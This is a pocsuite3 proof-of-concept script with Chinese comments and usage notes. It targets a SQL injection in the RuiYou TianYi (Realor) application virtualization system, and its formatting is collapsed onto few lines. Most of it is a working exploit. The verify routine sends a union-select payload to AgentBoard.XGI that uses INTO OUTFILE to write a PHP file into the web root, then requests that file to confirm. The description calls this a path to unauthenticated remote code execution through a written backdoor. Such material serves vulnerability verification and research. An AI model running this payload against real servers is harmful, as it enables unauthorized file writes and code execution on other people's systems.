#!/usr/bin/env python# -*- coding: utf-8 -*-'''POC Name : SQL Injection Vulnerability in RuiYou_TianYiReference : https://blog.csdn.net/qq_41904294/article/details/130231497Author : @m0re'''from pocsuite3.api import POCBase, Output, register_poc, requests, loggerfrom pocsuite3.api import POC_CATEGORY, VUL_TYPEclass RuiYou_SQLPOC(POCBase):vulID = "0" # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0version = "1" # 默认为1author = "m0re" # PoC作者的大名vulDate = "2023-05-23" # 漏洞公开的时间,不知道就写今天createDate = "2023-05-23" # 编写 PoC 的日期updateDate = "2023-05-23" # PoC 更新的时间,默认和编写时间一样references = ["https://blog.csdn.net/qq_41904294/article/details/130231497"] # 漏洞地址来源,0day不用写name = "瑞友天翼-应用虚拟化系统 SQL注入漏洞 PoC" # PoC 名称appPowerLink = "http://www.realor.cn/" # 漏洞厂商主页地址appName = "RuiYou_TianYi" # 漏洞应用名称appVersion = "5.x <= RuiYou <= 7.0.2.1" # 漏洞影响版本vulType = VUL_TYPE.SQL_INJECTION # 漏洞类型,类型参考见 漏洞类型规范表category = POC_CATEGORY.EXPLOITS.WEBAPPsamples = [] # 测试样列,就是用 PoC 测试成功的网站install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写desc = """瑞友天翼应用虚拟化系统存在远程代码执行漏洞,未经身份认证的远程攻击者可以利用该漏洞在目标系统上执行任意代码,(该漏洞是通过SQL注入写入后门文件进行代码执行)""" # 漏洞简要描述pocDesc = """pocsuite加入环境变量可使用pocsuite -r RuiYou_TY.py -u http://xx.xx.xx.xx:xx/ --verifypocsuite未加入环境变量可使用python3 cli.py -r RuiYou_TY.py -u http://xx.xx.xx.xx:xx/ --verify""" # POC用法描述def _verify(self):output = Output(self)# 验证代码result = {# 不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写# [ PoC结果返回规范 ]( https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md#resultstandard )}payload = "/AgentBoard.XGI?user=-1%27+union+select+1%2C%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27+into+outfile+%22C%3A%5C%5CProgram%5C+Files%5C+%5C%28x86%5C%29%5C%5CRealFriend%5C%5CRap%5C+Server%5C%5CWebRoot%5C%5C1.php%22+--+-&cmd=UserLogin"vul_url = self.url + payloadtry:response = requests.get(url=vul_url)if response.status_code == 200:phpinfo = self.url + "/1.php"response_phpinfo = requests.get(url=phpinfo)if "Version" in response_phpinfo.text:result['验证信息'] = {}result['验证信息']['URL'] = {vul_url}result['验证信息']['Payload'] = {payload}except Exception as e:logger.error(str(e))return self.parse_output(result)def parse_output(self, result):output = Output(self)if result: # result是返回结果output.success(result)else:output.fail("该站无此漏洞")return output# 注册 DemoPOC 类register_poc(RuiYou_SQLPOC)
使用方法
pocsuite加入环境变量可使用pocsuite -r RuiYou_TY.py -u http://xx.xx.xx.xx:xx/ --verifypocsuite未加入环境变量可使用python3 cli.py -r RuiYou_TY.py -u http://xx.xx.xx.xx:xx/ --verify
说明
由于部分写入phpinfo文件后无法显示,所以多加了一个逻辑判断,访问写入的文件,查看返回包中是否含有”Version“这一字段。
